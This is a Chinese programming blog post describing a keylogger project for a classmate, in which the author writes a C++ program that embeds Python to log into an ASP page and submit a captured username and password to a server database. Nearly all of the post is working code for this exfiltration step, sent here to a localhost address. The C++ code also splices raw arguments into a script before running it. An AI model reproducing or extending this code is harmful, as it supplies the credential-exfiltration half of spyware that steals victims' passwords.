• PythonC++


    帮同学弄个信息安全的东西,关于键盘记录,然后发布到Asp网页上,有意思呵呵,TaoBao上的卖主不错,用MFC和Asp来写的,有时间,把代码再好好看看,然后用他的技术写个别的东西。

    先说我实现的办法吧,键盘记录他已经搞好了,我就负责把一段文本(用户名和密码)发送到网页上去,这段时间搞Python,所以对网页抓取,自动提交什么的稍微熟悉等,所以想用Python,通过Asp网页的Get方法,将数据提交上去,然后存在Access中,但是客户端(监听端)被限制只能用C++来写,所以就想办法混编C++和Python,用C++来调用Python,网上关于C++和Python混编还是蛮多的,一般还是用Python调用C++,一个写起来方便,一个效率高,这个叫扩展,反过来交嵌入。关于C++调用Python,可以参考,两者都讲的可以参考。但是环境配置的时候,遇到问题,链接错误什么的,不太清楚是什么原因,怀疑是C++和Python的版本匹配问题,后来改成Release编译就可以了,搞不懂,并且,不少函数还不能用的,悲剧。最后呢,回到了最原始的状态,就是在C++下,直接调用Python的代码运行~

    给定两个参数,一个用户名,一个密码,然后将实现写好的Py代码中的相应位置,替换掉这两个值,然后运行,也就完成了将相应用户名和密码插入到服务器端的过程了。还一个问题就是Python方面,如果自动登录,用的是Post的方式,然后发现如果单用urllib2进行登录的话,会不成功,因为这里用到了session,某个网页的登录没问题,但是一旦跳转到另一个网页就会出现问题,session的值就为空了,所以要设置cookie,感觉cookie的概念比session要大,关于自动访问网页,可以看看。

    C++端的代码如下:

    #include <iostream>  
    #include <Python.h>
    #include <string>
    using namespace std;
     
    char ch[10000];
     
    int main(int argc, char *argv[])  
    {  
        if(argc != 3) 
        {
            cout << "argument is error!" << endl;
            return 0;
        }
     
        string userName = argv[1];
        string passWord = argv[2];
     
        Py_Initialize(); 
     
        PyObject * pModule = NULL; 
        PyObject * pFunc   = NULL; 
     
        freopen("d:\\desktop\\test.py", "r", stdin);
        
        int cnt = 0;
        while(scanf("%c", &ch[cnt]) != EOF)  cnt++;
     
        string m = ch;
        for(int i = 0; i < m.length(); i++)
        {
            if(m.substr(i, 3) == "lit")
            {
                m.replace(i, 3, userName);
                i += userName.length() - 1;
            }
            else if(m.substr(i, 3) == "acm")
            {
                m.replace(i, 3, passWord);
                i += passWord.length() - 1;
            }
        }
        
        PyRun_SimpleString(m.c_str());        /* 运行字符串 */    
     
        Py_Finalize(); 
    }

    Python端的代码如下:

    #!/usr/bin/env python 
    #coding=utf-8
     
    import urllib, urllib2, cookielib
     
    cj = cookielib.LWPCookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
    urllib2.install_opener(opener)
     
    params = {'txtUser':'admin','txtPass':'admin'}
     
    #print params
     
    url_login = 'http://localhost/icheck.asp'
     
    req = urllib2.Request(url_login,urllib.urlencode(params))
     
    operate = opener.open(req)  
     
    #info = operate.read()
    #url_r =  operate.geturl()
     
    url_insert = 'http://localhost/qqget.asp?Action=Insert&userName=lit&passWord=acm'
    urllib2.urlopen(url_insert)
     
    print "insert ok"

    试验成功的截图:

    PythonC

  • 相关阅读:
    愚蠢的程序员...
    云计算优于终端计算和集中计算?
    REST资源合集
    龙芯软件开发:使用龙芯2e的模拟器GXemul
    The Origins of Complex Numbers
    net 3.5 Ms Chart 使用心得
    XPO 第三方控件学习(DevExpress Persistent Object )系列表间关系
    show your data
    缩略数据
    单片机试题
  • 原文地址:https://www.cnblogs.com/litstrong/p/2062315.html
Copyright © 2020-2023  润新知